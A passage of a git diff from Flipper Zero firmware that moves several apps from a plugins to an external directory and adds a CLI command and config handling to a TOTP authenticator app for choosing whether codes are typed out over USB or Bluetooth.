applications/plugins/tanksgame/tanksIcon.png rename to applications/external/tanksgame/tanksIcon.png diff --git a/applications/plugins/tanksgame/tanks_game.c b/applications/external/tanksgame/tanks_game.c similarity index 100% rename from applications/plugins/tanksgame/tanks_game.c rename to applications/external/tanksgame/tanks_game.c diff --git a/applications/plugins/tetris_game/application.fam b/applications/external/tetris_game/application.fam similarity index 87% rename from applications/plugins/tetris_game/application.fam rename to applications/external/tetris_game/application.fam index 52f5588cb..21c829e99 100644 --- a/applications/plugins/tetris_game/application.fam +++ b/applications/external/tetris_game/application.fam @@ -3,7 +3,6 @@ App( name="Tetris", apptype=FlipperAppType.EXTERNAL, entry_point="tetris_game_app", - cdefines=["APP_TETRIS_GAME"], requires=["gui"], stack_size=2 * 1024, order=240, diff --git a/applications/plugins/tetris_game/tetris_10px.png b/applications/external/tetris_game/tetris_10px.png similarity index 100% rename from applications/plugins/tetris_game/tetris_10px.png rename to applications/external/tetris_game/tetris_10px.png diff --git a/applications/plugins/tetris_game/tetris_game.c b/applications/external/tetris_game/tetris_game.c similarity index 100% rename from applications/plugins/tetris_game/tetris_game.c rename to applications/external/tetris_game/tetris_game.c diff --git a/applications/plugins/text_viewer/LICENSE b/applications/external/text_viewer/LICENSE similarity index 100% rename from applications/plugins/text_viewer/LICENSE rename to applications/external/text_viewer/LICENSE diff --git a/applications/plugins/text_viewer/application.fam b/applications/external/text_viewer/application.fam similarity index 90% rename from applications/plugins/text_viewer/application.fam rename to applications/external/text_viewer/application.fam index dcd573c9d..518626f41 100644 --- a/applications/plugins/text_viewer/application.fam +++ b/applications/external/text_viewer/application.fam @@ -3,7 +3,6 @@ App( name="Text Viewer", apptype=FlipperAppType.EXTERNAL, entry_point="text_viewer_app", - cdefines=["APP_TEXT_VIEWER"], requires=[ "gui", "dialogs", diff --git a/applications/plugins/text_viewer/icons/text_10px.png b/applications/external/text_viewer/icons/text_10px.png similarity index 100% rename from applications/plugins/text_viewer/icons/text_10px.png rename to applications/external/text_viewer/icons/text_10px.png diff --git a/applications/plugins/text_viewer/text_viewer.c b/applications/external/text_viewer/text_viewer.c similarity index 100% rename from applications/plugins/text_viewer/text_viewer.c rename to applications/external/text_viewer/text_viewer.c diff --git a/applications/plugins/tictactoe_game/application.fam b/applications/external/tictactoe_game/application.fam similarity index 87% rename from applications/plugins/tictactoe_game/application.fam rename to applications/external/tictactoe_game/application.fam index 2ad09f11b..09ee2eba5 100644 --- a/applications/plugins/tictactoe_game/application.fam +++ b/applications/external/tictactoe_game/application.fam @@ -3,7 +3,6 @@ App( name="Tic Tac Toe", apptype=FlipperAppType.EXTERNAL, entry_point="tictactoe_game_app", - cdefines=["APP_TICTACTOE_GAME"], requires=["gui"], stack_size=1 * 1024, order=250, diff --git a/applications/plugins/tictactoe_game/tictactoe_10px.png b/applications/external/tictactoe_game/tictactoe_10px.png similarity index 100% rename from applications/plugins/tictactoe_game/tictactoe_10px.png rename to applications/external/tictactoe_game/tictactoe_10px.png diff --git a/applications/plugins/tictactoe_game/tictactoe_game.c b/applications/external/tictactoe_game/tictactoe_game.c similarity index 100% rename from applications/plugins/tictactoe_game/tictactoe_game.c rename to applications/external/tictactoe_game/tictactoe_game.c diff --git a/applications/plugins/timelapse/application.fam b/applications/external/timelapse/application.fam similarity index 100% rename from applications/plugins/timelapse/application.fam rename to applications/external/timelapse/application.fam diff --git a/applications/plugins/timelapse/gpio_item.c b/applications/external/timelapse/gpio_item.c similarity index 100% rename from applications/plugins/timelapse/gpio_item.c rename to applications/external/timelapse/gpio_item.c diff --git a/applications/plugins/timelapse/gpio_item.h b/applications/external/timelapse/gpio_item.h similarity index 100% rename from applications/plugins/timelapse/gpio_item.h rename to applications/external/timelapse/gpio_item.h diff --git a/applications/external/timelapse/icons/ButtonDown_7x4.png b/applications/external/timelapse/icons/ButtonDown_7x4.png new file mode 100644 index 000000000..2954bb6a6 Binary files /dev/null and b/applications/external/timelapse/icons/ButtonDown_7x4.png differ diff --git a/applications/external/timelapse/icons/ButtonLeft_4x7.png b/applications/external/timelapse/icons/ButtonLeft_4x7.png new file mode 100644 index 000000000..0b4655d43 Binary files /dev/null and b/applications/external/timelapse/icons/ButtonLeft_4x7.png differ diff --git a/applications/external/timelapse/icons/ButtonRight_4x7.png b/applications/external/timelapse/icons/ButtonRight_4x7.png new file mode 100644 index 000000000..8e1c74c1c Binary files /dev/null and b/applications/external/timelapse/icons/ButtonRight_4x7.png differ diff --git a/applications/external/timelapse/icons/ButtonUp_7x4.png b/applications/external/timelapse/icons/ButtonUp_7x4.png new file mode 100644 index 000000000..1be79328b Binary files /dev/null and b/applications/external/timelapse/icons/ButtonUp_7x4.png differ diff --git a/applications/external/timelapse/icons/Pin_star_7x7.png b/applications/external/timelapse/icons/Pin_star_7x7.png new file mode 100644 index 000000000..42fdea86e Binary files /dev/null and b/applications/external/timelapse/icons/Pin_star_7x7.png differ diff --git a/applications/plugins/timelapse/icons/loading_10px.png b/applications/external/timelapse/icons/loading_10px.png similarity index 100% rename from applications/plugins/timelapse/icons/loading_10px.png rename to applications/external/timelapse/icons/loading_10px.png diff --git a/applications/plugins/timelapse/zeitraffer.c b/applications/external/timelapse/zeitraffer.c similarity index 100% rename from applications/plugins/timelapse/zeitraffer.c rename to applications/external/timelapse/zeitraffer.c diff --git a/applications/plugins/timelapse/zeitraffer.png b/applications/external/timelapse/zeitraffer.png similarity index 100% rename from applications/plugins/timelapse/zeitraffer.png rename to applications/external/timelapse/zeitraffer.png diff --git a/applications/plugins/totp/LICENSE b/applications/external/totp/LICENSE similarity index 100% rename from applications/plugins/totp/LICENSE rename to applications/external/totp/LICENSE diff --git a/applications/plugins/totp/application.fam b/applications/external/totp/application.fam similarity index 72% rename from applications/plugins/totp/application.fam rename to applications/external/totp/application.fam index f6a61f119..096716e74 100644 --- a/applications/plugins/totp/application.fam +++ b/applications/external/totp/application.fam @@ -3,10 +3,12 @@ App( name="Authenticator", apptype=FlipperAppType.EXTERNAL, entry_point="totp_app", - cdefines=["APP_TOTP"], - requires=["gui", "cli", "dialogs", "storage", "input", "notification"], + requires=["gui", "cli", "dialogs", "storage", "input", "notification", "bt"], stack_size=2 * 1024, order=20, + fap_author="Alexander Kopachov (@akopachov)", + fap_description="Software-based TOTP authenticator for Flipper Zero device", + fap_weburl="https://github.com/akopachov/flipper-zero_authenticator", fap_category="Misc", fap_icon_assets="images", fap_icon="totp_10px.png", diff --git a/applications/plugins/totp/cli/cli.c b/applications/external/totp/cli/cli.c similarity index 95% rename from applications/plugins/totp/cli/cli.c rename to applications/external/totp/cli/cli.c index 28d173766..ce2530804 100644 --- a/applications/plugins/totp/cli/cli.c +++ b/applications/external/totp/cli/cli.c @@ -12,6 +12,7 @@ #include "commands/pin/pin.h" #include "commands/notification/notification.h" #include "commands/reset/reset.h" +#include "commands/automation/automation.h" static void totp_cli_print_unknown_command(const FuriString* unknown_command) { TOTP_CLI_PRINTF_ERROR( @@ -57,6 +58,8 @@ static void totp_cli_handler(Cli* cli, FuriString* args, void* context) { totp_cli_command_pin_handle(plugin_state, args, cli); } else if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_NOTIFICATION) == 0) { totp_cli_command_notification_handle(plugin_state, args, cli); + } else if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_AUTOMATION) == 0) { + totp_cli_command_automation_handle(plugin_state, args, cli); } else if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_RESET) == 0) { totp_cli_command_reset_handle(cli, cli_context->event_queue); } else { diff --git a/applications/plugins/totp/cli/cli.h b/applications/external/totp/cli/cli.h similarity index 100% rename from applications/plugins/totp/cli/cli.h rename to applications/external/totp/cli/cli.h diff --git a/applications/plugins/totp/cli/cli_helpers.c b/applications/external/totp/cli/cli_helpers.c similarity index 100% rename from applications/plugins/totp/cli/cli_helpers.c rename to applications/external/totp/cli/cli_helpers.c diff --git a/applications/plugins/totp/cli/cli_helpers.h b/applications/external/totp/cli/cli_helpers.h similarity index 100% rename from applications/plugins/totp/cli/cli_helpers.h rename to applications/external/totp/cli/cli_helpers.h diff --git a/applications/plugins/totp/cli/commands/add/add.c b/applications/external/totp/cli/commands/add/add.c similarity index 99% rename from applications/plugins/totp/cli/commands/add/add.c rename to applications/external/totp/cli/commands/add/add.c index fbcd58530..91f9256b2 100644 --- a/applications/plugins/totp/cli/commands/add/add.c +++ b/applications/external/totp/cli/commands/add/add.c @@ -62,7 +62,7 @@ void totp_cli_command_add_docopt_usage() { } void totp_cli_command_add_docopt_arguments() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_ADD_ARG_NAME " Token name\r\n"); + TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_ADD_ARG_NAME " Token name\r\n"); } void totp_cli_command_add_docopt_options() { diff --git a/applications/plugins/totp/cli/commands/add/add.h b/applications/external/totp/cli/commands/add/add.h similarity index 100% rename from applications/plugins/totp/cli/commands/add/add.h rename to applications/external/totp/cli/commands/add/add.h diff --git a/applications/external/totp/cli/commands/automation/automation.c b/applications/external/totp/cli/commands/automation/automation.c new file mode 100644 index 000000000..1fd87f456 --- /dev/null +++ b/applications/external/totp/cli/commands/automation/automation.c @@ -0,0 +1,133 @@ +#include "automation.h" +#include +#include "../../../services/config/config.h" +#include "../../../ui/scene_director.h" +#include "../../cli_helpers.h" + +#define TOTP_CLI_COMMAND_AUTOMATION_ARG_METHOD "automation" +#define TOTP_CLI_COMMAND_AUTOMATION_METHOD_NONE "none" +#define TOTP_CLI_COMMAND_AUTOMATION_METHOD_USB "usb" +#ifdef TOTP_BADBT_TYPE_ENABLED +#define TOTP_CLI_COMMAND_AUTOMATION_METHOD_BT "bt" +#endif + +void totp_cli_command_automation_docopt_commands() { + TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_AUTOMATION " Get or set automation method\r\n"); +} + +void totp_cli_command_automation_docopt_usage() { + TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_NAME " " TOTP_CLI_COMMAND_AUTOMATION " " DOCOPT_OPTIONAL( + DOCOPT_MULTIPLE(DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_AUTOMATION_ARG_METHOD))) "\r\n"); +} + +void totp_cli_command_automation_docopt_arguments() { + TOTP_CLI_PRINTF( + " " TOTP_CLI_COMMAND_AUTOMATION_ARG_METHOD + " Automation method to be set. Must be one of [" TOTP_CLI_COMMAND_AUTOMATION_METHOD_NONE + ", " TOTP_CLI_COMMAND_AUTOMATION_METHOD_USB +#ifdef TOTP_BADBT_TYPE_ENABLED + ", " TOTP_CLI_COMMAND_AUTOMATION_METHOD_BT +#endif + "]\r\n"); +} + +static void totp_cli_command_automation_print_method(AutomationMethod method, char* color) { +#ifdef TOTP_BADBT_TYPE_ENABLED + bool has_previous_method = false; +#endif + if(method & AutomationMethodBadUsb) { + TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_AUTOMATION_METHOD_USB "\""); +#ifdef TOTP_BADBT_TYPE_ENABLED + has_previous_method = true; +#endif + } + +#ifdef TOTP_BADBT_TYPE_ENABLED + if(method & AutomationMethodBadBt) { + if(has_previous_method) { + TOTP_CLI_PRINTF_COLORFUL(color, " and "); + } + + TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_AUTOMATION_METHOD_BT "\""); + } +#endif + + if(method == AutomationMethodNone) { + TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_AUTOMATION_METHOD_NONE "\""); + } +} + +void totp_cli_command_automation_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { + if(!totp_cli_ensure_authenticated(plugin_state, cli)) { + return; + } + + FuriString* temp_str = furi_string_alloc(); + bool new_method_provided = false; + AutomationMethod new_method = AutomationMethodNone; + bool args_valid = true; + while(args_read_string_and_trim(args, temp_str)) { + if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_AUTOMATION_METHOD_NONE) == 0) { + new_method_provided = true; + new_method = AutomationMethodNone; + } else if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_AUTOMATION_METHOD_USB) == 0) { + new_method_provided = true; + new_method |= AutomationMethodBadUsb; + } +#ifdef TOTP_BADBT_TYPE_ENABLED + else if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_AUTOMATION_METHOD_BT) == 0) { + new_method_provided = true; + new_method |= AutomationMethodBadBt; + } +#endif + else { + args_valid = false; + break; + } + } + + do { + if(!args_valid) { + TOTP_CLI_PRINT_INVALID_ARGUMENTS(); + break; + } + + if(new_method_provided) { + Scene previous_scene = TotpSceneNone; + if(plugin_state->current_scene == TotpSceneGenerateToken || + plugin_state->current_scene == TotpSceneAppSettings) { + previous_scene = plugin_state->current_scene; + totp_scene_director_activate_scene(plugin_state, TotpSceneNone, NULL); + } + + plugin_state->automation_method = new_method; + if(totp_config_file_update_automation_method(new_method) == + TotpConfigFileUpdateSuccess) { + TOTP_CLI_PRINTF_SUCCESS("Automation method is set to "); + totp_cli_command_automation_print_method(new_method, TOTP_CLI_COLOR_SUCCESS); + cli_nl(); + } else { + TOTP_CLI_PRINT_ERROR_UPDATING_CONFIG_FILE(); + } + +#ifdef TOTP_BADBT_TYPE_ENABLED + if(!(new_method & AutomationMethodBadBt) && + plugin_state->bt_type_code_worker_context != NULL) { + totp_bt_type_code_worker_free(plugin_state->bt_type_code_worker_context); + plugin_state->bt_type_code_worker_context = NULL; + } +#endif + + if(previous_scene != TotpSceneNone) { + totp_scene_director_activate_scene(plugin_state, previous_scene, NULL); + } + } else { + TOTP_CLI_PRINTF_INFO("Current automation method is "); + totp_cli_command_automation_print_method( + plugin_state->automation_method, TOTP_CLI_COLOR_INFO); + cli_nl(); + } + } while(false); + + furi_string_free(temp_str); +} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/automation/automation.h b/applications/external/totp/cli/commands/automation/automation.h new file mode 100644 index 000000000..fb62e638e --- /dev/null +++ b/applications/external/totp/cli/commands/automation/automation.h @@ -0,0 +1,11 @@ +#pragma once + +#include +#include "../../../types/plugin_state.h" + +#define TOTP_CLI_COMMAND_AUTOMATION "automation" + +void totp_cli_command_automation_handle(PluginState* plugin_state, FuriString* args, Cli* cli); +void totp_cli_command_automation_docopt_commands(); +void totp_cli_command_automation_docopt_usage(); +void totp_cli_command_automation_docopt_arguments(); \ No newline at end of file diff --git a/applications/plugins/totp/cli/commands/delete/delete.c b/applications/external/totp/cli/commands/delete/delete.c similarity index 99% rename from applications/plugins/totp/cli/commands/delete/delete.c rename to applications/external/totp/cli/commands/delete/delete.c index 8fe72e220..04cc815a4 100644 --- a/applications/plugins/totp/cli/commands/delete/delete.c +++ b/applications/external/totp/cli/commands/delete/delete.c @@ -24,7 +24,7 @@ void totp_cli_command_delete_docopt_usage() { } void totp_cli_command_delete_docopt_arguments() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_DELETE_ARG_INDEX " Token index in the list\r\n"); + TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_DELETE_ARG_INDEX " Token index in the list\r\n"); } void totp_cli_command_delete_docopt_options() { diff --git a/applications/plugins/totp/cli/commands/delete/delete.h b/applications/external/totp/cli/commands/delete/delete.h similarity index 100% rename from applications/plugins/totp/cli/commands/delete/delete.h rename to applications/external/totp/cli/commands/delete/delete.h diff --git a/applications/plugins/totp/cli/commands/help/help.c b/applications/external/totp/cli/commands/help/help.c similarity index 91% rename from applications/plugins/totp/cli/commands/help/help.c rename to applications/external/totp/cli/commands/help/help.c index 104b39e47..34b44debd 100644 --- a/applications/plugins/totp/cli/commands/help/help.c +++ b/applications/external/totp/cli/commands/help/help.c @@ -8,6 +8,7 @@ #include "../pin/pin.h" #include "../notification/notification.h" #include "../reset/reset.h" +#include "../automation/automation.h" void totp_cli_command_help_docopt_commands() { TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_HELP ", " TOTP_CLI_COMMAND_HELP_ALT @@ -31,6 +32,7 @@ void totp_cli_command_help_handle() { totp_cli_command_pin_docopt_usage(); totp_cli_command_notification_docopt_usage(); totp_cli_command_reset_docopt_usage(); + totp_cli_command_automation_docopt_usage(); cli_nl(); TOTP_CLI_PRINTF("Commands:\r\n"); totp_cli_command_help_docopt_commands(); @@ -42,12 +44,14 @@ void totp_cli_command_help_handle() { totp_cli_command_pin_docopt_commands(); totp_cli_command_notification_docopt_commands(); totp_cli_command_reset_docopt_commands(); + totp_cli_command_automation_docopt_commands(); cli_nl(); TOTP_CLI_PRINTF("Arguments:\r\n"); totp_cli_command_add_docopt_arguments(); totp_cli_command_delete_docopt_arguments(); totp_cli_command_timezone_docopt_arguments(); totp_cli_command_notification_docopt_arguments(); + totp_cli_command_automation_docopt_arguments(); cli_nl(); TOTP_CLI_PRINTF("Options:\r\n"); totp_cli_command_add_docopt_options(); diff --git a/applications/plugins/totp/cli/commands/help/help.h b/applications/external/totp/cli/commands/help/help.h similarity index 100% rename from applications/plugins/totp/cli/commands/help/help.h rename to applications/external/totp/cli/commands/help/help.h diff --git a/applications/plugins/totp/cli/commands/list/list.c b/applications/external/totp/cli/commands/list/list.c similarity index 100% rename from applications/plugins/totp/cli/commands/list/list.c rename to applications/external/totp/cli/commands/list/list.c diff --git a/applications/plugins/totp/cli/commands/list/list.h b/applications/external/totp/cli/commands/list/list.h similarity index 100% rename from applications/plugins/totp/cli/commands/list/list.h rename to applications/external/totp/cli/commands/list/list.h diff --git a/applications/plugins/totp/cli/commands/move/move.c b/applications/external/totp/cli/commands/move/move.c similarity index 100% rename from applications/plugins/totp/cli/commands/move/move.c rename to applications/external/totp/cli/commands/move/move.c diff --git a/applications/plugins/totp/cli/commands/move/move.h b/applications/external/totp/cli/commands/move/move.h similarity index 100% rename from applications/plugins/totp/cli/commands/move/move.h rename to applications/external/totp/cli/commands/move/move.h diff --git a/applications/plugins/totp/cli/commands/notification/notification.c b/applications/external/totp/cli/commands/notification/notification.c similarity index 96% rename from applications/plugins/totp/cli/commands/notification/notification.c rename to applications/external/totp/cli/commands/notification/notification.c index bbbd52703..016b83d0d 100644 --- a/applications/plugins/totp/cli/commands/notification/notification.c +++ b/applications/external/totp/cli/commands/notification/notification.c @@ -4,7 +4,7 @@ #include "../../../ui/scene_director.h" #include "../../cli_helpers.h" -#define TOTP_CLI_COMMAND_NOTIFICATION_ARG_METHOD "method" +#define TOTP_CLI_COMMAND_NOTIFICATION_ARG_METHOD "notification" #define TOTP_CLI_COMMAND_NOTIFICATION_METHOD_NONE "none" #define TOTP_CLI_COMMAND_NOTIFICATION_METHOD_SOUND "sound" #define TOTP_CLI_COMMAND_NOTIFICATION_METHOD_VIBRO "vibro" @@ -23,7 +23,7 @@ void totp_cli_command_notification_docopt_usage() { void totp_cli_command_notification_docopt_arguments() { TOTP_CLI_PRINTF( " " TOTP_CLI_COMMAND_NOTIFICATION_ARG_METHOD - " Notification method to be set. Must be one of [" TOTP_CLI_COMMAND_NOTIFICATION_METHOD_NONE + " Notification method to be set. Must be one of [" TOTP_CLI_COMMAND_NOTIFICATION_METHOD_NONE ", " TOTP_CLI_COMMAND_NOTIFICATION_METHOD_SOUND ", " TOTP_CLI_COMMAND_NOTIFICATION_METHOD_VIBRO "]\r\n"); } diff --git a/applications/plugins/totp/cli/commands/notification/notification.h b/applications/external/totp/cli/commands/notification/notification.h similarity index 100% rename from applications/plugins/totp/cli/commands/notification/notification.h rename to applications/external/totp/cli/commands/notification/notification.h diff --git a/applications/plugins/totp/cli/commands/pin/pin.c b/applications/external/totp/cli/commands/pin/pin.c similarity index 100% rename from applications/plugins/totp/cli/commands/pin/pin.c rename to applications/external/totp/cli/commands/pin/pin.c diff --git a/applications/plugins/totp/cli/commands/pin/pin.h b/applications/external/totp/cli/commands/pin/pin.h similarity index 100% rename from applications/plugins/totp/cli/commands/pin/pin.h rename to applications/external/totp/cli/commands/pin/pin.h diff --git a/applications/plugins/totp/cli/commands/reset/reset.c b/applications/external/totp/cli/commands/reset/reset.c similarity index 100% rename from applications/plugins/totp/cli/commands/reset/reset.c rename to applications/external/totp/cli/commands/reset/reset.c diff --git a/applications/plugins/totp/cli/commands/reset/reset.h b/applications/external/totp/cli/commands/reset/reset.h similarity index 100% rename from applications/plugins/totp/cli/commands/reset/reset.h rename to applications/external/totp/cli/commands/reset/reset.h diff --git a/applications/plugins/totp/cli/commands/timezone/timezone.c b/applications/external/totp/cli/commands/timezone/timezone.c similarity index 97% rename from applications/plugins/totp/cli/commands/timezone/timezone.c rename to applications/external/totp/cli/commands/timezone/timezone.c index 9eb0cb5f6..265d80e53 100644 --- a/applications/plugins/totp/cli/commands/timezone/timezone.c +++ b/applications/external/totp/cli/commands/timezone/timezone.c @@ -20,7 +20,7 @@ void totp_cli_command_timezone_docopt_usage() { void totp_cli_command_timezone_docopt_arguments() { TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_TIMEZONE_ARG_TIMEZONE - " Timezone offset in hours to be set\r\n"); + " Timezone offset in hours to be set\r\n"); } void totp_cli_command_timezone_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { diff --git a/applications/plugins/totp/cli/commands/timezone/timezone.h b/applications/external/totp/cli/commands/timezone/timezone.h similarity index 100% rename from applications/plugins/totp/cli/commands/timezone/timezone.h rename to applications/external/totp/cli/commands/timezone/timezone.h diff --git a/applications/external/totp/features_config.h b/applications/external/totp/features_config.h new file mode 100644 index 000000000..d3b30aee0 --- /dev/null +++ b/applications/external/totp/features_config.h @@ -0,0 +1,2 @@ +#define TOTP_BADBT_TYPE_ENABLED +#define TOTP_BADBT_TYPE_ICON_ENABLED \ No newline at end of file diff --git a/applications/plugins/nfc_magic/assets/DolphinCommon_56x48.png b/applications/external/totp/images/DolphinCommon_56x48.png similarity index 100% rename from applications/plugins/nfc_magic/assets/DolphinCommon_56x48.png rename to applications/external/totp/images/DolphinCommon_56x48.png diff --git a/applications/external/totp/images/hid_ble_10x7.png b/applications/external/totp/images/hid_ble_10x7.png new file mode 100644 index 000000000..3cd1ff95c Binary files /dev/null and b/applications/external/totp/images/hid_ble_10x7.png differ diff --git a/applications/plugins/totp/images/totp_arrow_bottom_10x5.png b/applications/external/totp/images/totp_arrow_bottom_10x5.png similarity index 100% rename from applications/plugins/totp/images/totp_arrow_bottom_10x5.png rename to applications/external/totp/images/totp_arrow_bottom_10x5.png diff --git a/applications/plugins/totp/images/totp_arrow_left_8x9.png b/applications/external/totp/images/totp_arrow_left_8x9.png similarity index 100% rename from applications/plugins/totp/images/totp_arrow_left_8x9.png rename to applications/external/totp/images/totp_arrow_left_8x9.png diff --git a/applications/plugins/totp/images/totp_arrow_right_8x9.png b/applications/external/totp/images/totp_arrow_right_8x9.png similarity index 100% rename from applications/plugins/totp/images/totp_arrow_right_8x9.png rename to applications/external/totp/images/totp_arrow_right_8x9.png diff --git a/applications/plugins/totp/lib/base32/base32.c b/applications/external/totp/lib/base32/base32.c similarity index 100% rename from applications/plugins/totp/lib/base32/base32.c rename to applications/external/totp/lib/base32/base32.c diff --git a/applications/plugins/totp/lib/base32/base32.h b/applications/external/totp/lib/base32/base32.h similarity index 100% rename from applications/plugins/totp/lib/base32/base32.h rename to applications/external/totp/lib/base32/base32.h diff --git a/applications/plugins/totp/lib/list/list.c b/applications/external/totp/lib/list/list.c similarity index 100% rename from applications/plugins/totp/lib/list/list.c rename to applications/external/totp/lib/list/list.c diff --git a/applications/plugins/totp/lib/list/list.h b/applications/external/totp/lib/list/list.h similarity index 100% rename from applications/plugins/totp/lib/list/list.h rename to applications/external/totp/lib/list/list.h diff --git a/applications/plugins/totp/lib/polyfills/memset_s.c b/applications/external/totp/lib/polyfills/memset_s.c similarity index 100% rename from applications/plugins/totp/lib/polyfills/memset_s.c rename to applications/external/totp/lib/polyfills/memset_s.c diff --git a/applications/plugins/totp/lib/polyfills/memset_s.h b/applications/external/totp/lib/polyfills/memset_s.h similarity index 100% rename from applications/plugins/totp/lib/polyfills/memset_s.h rename to applications/external/totp/lib/polyfills/memset_s.h diff --git a/applications/plugins/totp/lib/polyfills/strnlen.c b/applications/external/totp/lib/polyfills/strnlen.c similarity index 100% rename from applications/plugins/totp/lib/polyfills/strnlen.c rename to applications/external/totp/lib/polyfills/strnlen.c diff --git a/applications/plugins/totp/lib/polyfills/strnlen.h b/applications/external/totp/lib/polyfills/strnlen.h similarity index 100% rename from applications/plugins/totp/lib/polyfills/strnlen.h rename to applications/external/totp/lib/polyfills/strnlen.h diff --git a/applications/plugins/totp/lib/roll_value/roll_value.c b/applications/external/totp/lib/roll_value/roll_value.c similarity index 100% rename from applications/plugins/totp/lib/roll_value/roll_value.c rename to applications/external/totp/lib/roll_value/roll_value.c diff --git a/applications/plugins/totp/lib/roll_value/roll_value.h b/applications/external/totp/lib/roll_value/roll_value.h similarity index 100% rename from applications/plugins/totp/lib/roll_value/roll_value.h rename to applications/external/totp/lib/roll_value/roll_value.h diff --git a/applications/plugins/totp/lib/timezone_utils/timezone_utils.c b/applications/external/totp/lib/timezone_utils/timezone_utils.c similarity index 100% rename from applications/plugins/totp/lib/timezone_utils/timezone_utils.c rename to applications/external/totp/lib/timezone_utils/timezone_utils.c diff --git a/applications/plugins/totp/lib/timezone_utils/timezone_utils.h b/applications/external/totp/lib/timezone_utils/timezone_utils.h similarity index 100% rename from applications/plugins/totp/lib/timezone_utils/timezone_utils.h rename to applications/external/totp/lib/timezone_utils/timezone_utils.h diff --git a/applications/plugins/totp/services/config/config.c b/applications/external/totp/services/config/config.c similarity index 93% rename from applications/plugins/totp/services/config/config.c rename to applications/external/totp/services/config/config.c index 76c72707c..ac7093dde 100644 --- a/applications/plugins/totp/services/config/config.c +++ b/applications/external/totp/services/config/config.c @@ -4,6 +4,7 @@ #include "../list/list.h" #include "../../types/common.h" #include "../../types/token_info.h" +#include "../../features_config.h" #include "migrations/config_migration_v1_to_v2.h" #include "migrations/config_migration_v2_to_v3.h" @@ -136,6 +137,14 @@ static TotpConfigFileOpenResult totp_open_config_file(Storage* storage, FlipperF flipper_format_write_uint32( fff_data_file, TOTP_CONFIG_KEY_NOTIFICATION_METHOD, &tmp_uint32, 1); + tmp_uint32 = AutomationMethodBadUsb; + flipper_format_write_comment_cstr(fff_data_file, " "); + flipper_format_write_comment_cstr( + fff_data_file, + "Automation method (0 - None, 1 - BadUSB, 2 - BadBT, 3 - BadUSB and BadBT)"); + flipper_format_write_uint32( + fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1); + FuriString* temp_str = furi_string_alloc(); flipper_format_write_comment_cstr(fff_data_file, " "); @@ -329,6 +338,33 @@ TotpConfigFileUpdateResult return update_result; } +TotpConfigFileUpdateResult + totp_config_file_update_automation_method(AutomationMethod new_automation_method) { + Storage* cfg_storage = totp_open_storage(); + FlipperFormat* file; + TotpConfigFileUpdateResult update_result; + + if(totp_open_config_file(cfg_storage, &file) == TotpConfigFileOpenSuccess) { + do { + uint32_t tmp_uint32 = new_automation_method; + if(!flipper_format_insert_or_update_uint32( + file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1)) { + update_result = TotpConfigFileUpdateError; + break; + } + + update_result = TotpConfigFileUpdateSuccess; + } while(false); + + totp_close_config_file(file); + } else { + update_result = TotpConfigFileUpdateError; + } + + totp_close_storage(); + return update_result; +} + TotpConfigFileUpdateResult totp_config_file_update_user_settings(const PluginState* plugin_state) { Storage* cfg_storage = totp_open_storage(); FlipperFormat* file; @@ -347,6 +383,13 @@ TotpConfigFileUpdateResult totp_config_file_update_user_settings(const PluginSta break; } + tmp_uint32 = plugin_state->automation_method; + if(!flipper_format_insert_or_update_uint32( + file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1)) { + update_result = TotpConfigFileUpdateError; + break; + } + update_result = TotpConfigFileUpdateSuccess; } while(false); @@ -409,6 +452,13 @@ TotpConfigFileUpdateResult totp_full_save_config_file(const PluginState* const p break; } + tmp_uint32 = plugin_state->automation_method; + if(!flipper_format_write_uint32( + fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1)) { + result = TotpConfigFileUpdateError; + break; + } + bool tokens_written = true; TOTP_LIST_FOREACH(plugin_state->tokens_list, node, { const TokenInfo* token_info = node->data; @@ -594,6 +644,15 @@ TotpConfigFileOpenResult totp_config_file_load_base(PluginState* const plugin_st } plugin_state->notification_method = tmp_uint32; + + flipper_format_rewind(fff_data_file); + + if(!flipper_format_read_uint32( + fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1)) { + tmp_uint32 = AutomationMethodBadUsb; + } + + plugin_state->automation_method = tmp_uint32; } while(false); furi_string_free(temp_str); diff --git a/applications/plugins/totp/services/config/config.h b/applications/external/totp/services/config/config.h similarity index 92% rename from applications/plugins/totp/services/config/config.h rename to applications/external/totp/services/config/config.h index c630810a6..3d325368d 100644 --- a/applications/plugins/totp/services/config/config.h +++ b/applications/external/totp/services/config/config.h @@ -103,6 +103,14 @@ TotpConfigFileUpdateResult totp_config_file_update_timezone_offset(float new_tim TotpConfigFileUpdateResult totp_config_file_update_notification_method(NotificationMethod new_notification_method); +/** + * @brief Updates automation method in an application config file + * @param new_automation_method new automation method to be set + * @return Config file update result + */ +TotpConfigFileUpdateResult + totp_config_file_update_automation_method(AutomationMethod new_automation_method); + /** * @brief Updates application user settings * @param plugin_state application state diff --git a/applications/plugins/totp/services/config/constants.h b/applications/external/totp/services/config/constants.h similarity index 92% rename from applications/plugins/totp/services/config/constants.h rename to applications/external/totp/services/config/constants.h index 487fb159e..526179f41 100644 --- a/applications/plugins/totp/services/config/constants.h +++ b/applications/external/totp/services/config/constants.h @@ 